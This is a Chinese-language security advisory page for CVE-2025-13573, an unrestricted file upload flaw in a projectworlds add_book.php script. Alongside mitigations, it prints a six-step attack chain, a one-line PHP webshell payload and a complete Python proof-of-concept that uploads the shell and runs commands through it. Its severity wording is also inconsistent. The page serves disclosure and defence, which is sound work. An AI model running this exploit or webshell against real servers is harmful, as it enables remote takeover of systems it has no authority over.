IPBUF安全漏洞报告
English
CVE-2025-13573 CVSS 6.3 中危

CVE-2025-13573 projectworlds /add_book.php无限制文件上传漏洞

披露日期: 2025-11-24

漏洞信息

漏洞编号
CVE-2025-13573
漏洞类型
无限制文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
projectworlds

相关标签

无限制文件上传远程代码执行projectworldsWebShelladd_book.phpCVE-2025-13573

漏洞概述

CVE-2025-13573是projectworlds项目中的一个高危安全漏洞,CVSS评分6.3,属于中危级别。该漏洞存在于add_book.php文件的image参数处理逻辑中,由于程序未对用户上传的文件进行充分的类型验证和安全检查,攻击者可以利用此漏洞上传任意类型的恶意文件,包括WebShell脚本,从而实现远程代码执行。漏洞于2025年11月24日被披露,目前已被公开利用,攻击者可以构造特定的恶意Payload通过file参数绕过部分限制上传文件。该漏洞影响范围涉及所有使用projectworlds相关代码库的应用系统,攻击复杂度低,无需高权限即可实施攻击,对系统的机密性、完整性和可用性都造成一定影响。建议受影响的用户尽快采取防护措施或升级到安全版本。

技术细节

该漏洞的核心问题在于add_book.php文件对image参数的处理存在严重的安全缺陷。攻击者可以通过构造恶意请求,将任意文件(包括.php、.jsp、.asp等WebShell文件)上传到服务器指定目录。具体技术分析如下:

1. 文件上传功能缺少MIME类型验证:程序仅检查文件扩展名或完全不检查,未验证Content-Type头和文件实际内容。
2. 文件存储路径可预测:上传的文件通常保存在可访问的Web目录下,使得攻击者可以直接访问已上传的恶意文件。
3. 文件名处理不安全:部分实现可能直接使用用户提供的文件名或未进行随机化处理,存在路径遍历风险。
4. 缺少上传文件内容扫描:未对上传文件进行恶意代码检测。

利用方式:攻击者首先构造包含恶意PHP代码的文件(如<?php system($_GET['cmd']); ?>),然后通过POST请求将文件作为image参数值发送到/add_book.php端点。服务器接收后未进行安全检查即保存文件到Web可访问目录,攻击者随后可直接访问该文件并通过URL参数执行系统命令。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标网站使用的projectworlds系统,确认add_book.php端点存在
STEP 2
步骤2
准备阶段:构造包含恶意PHP代码的WebShell文件,如<?php system($_GET['cmd']); ?>
STEP 3
步骤3
利用阶段:构造HTTP POST请求,将恶意文件作为image参数值发送至/add_book.php
STEP 4
步骤4
上传阶段:服务器未进行安全验证,直接将文件保存到Web可访问目录
STEP 5
步骤5
访问阶段:攻击者通过浏览器或工具访问上传的恶意文件URL
STEP 6
步骤6
执行阶段:通过URL参数执行系统命令,实现远程代码控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13573 PoC - projectworlds Unrestricted File Upload Author: Security Researcher """ import requests import sys def exploit(target_url): """Exploit the unrestricted file upload vulnerability in add_book.php""" # Malicious PHP WebShell payload webshell = b'<?php system($_GET["cmd"]); ?>' # Prepare the multipart form data files = { 'image': ('shell.php', webshell, 'application/x-php') } data = { 'book_name': 'test', # Other required fields 'author': 'test', 'submit': 'Submit' } try: print(f"[*] Target: {target_url}") print(f"[*] Uploading malicious file...") response = requests.post(target_url, files=files, data=data, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[*] Try accessing: {target_url.replace('add_book.php', 'uploaded_files/shell.php?cmd=whoami')}") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} http://target.com/add_book.php") sys.exit(1) exploit(sys.argv[1])

影响范围

projectworlds <= 1.0

防御指南

临时缓解措施
临时缓解措施:1)禁用add_book.php文件上传功能;2)配置Web服务器阻止上传目录中的.php、.phtml、.php3、.php4、.php5、.php7、.phps、.cgi、.pl、.py等脚本文件执行;3)使用WAF(Web应用防火墙)规则限制文件上传行为;4)限制上传文件存储目录的访问权限,确保非授权用户无法直接访问上传文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表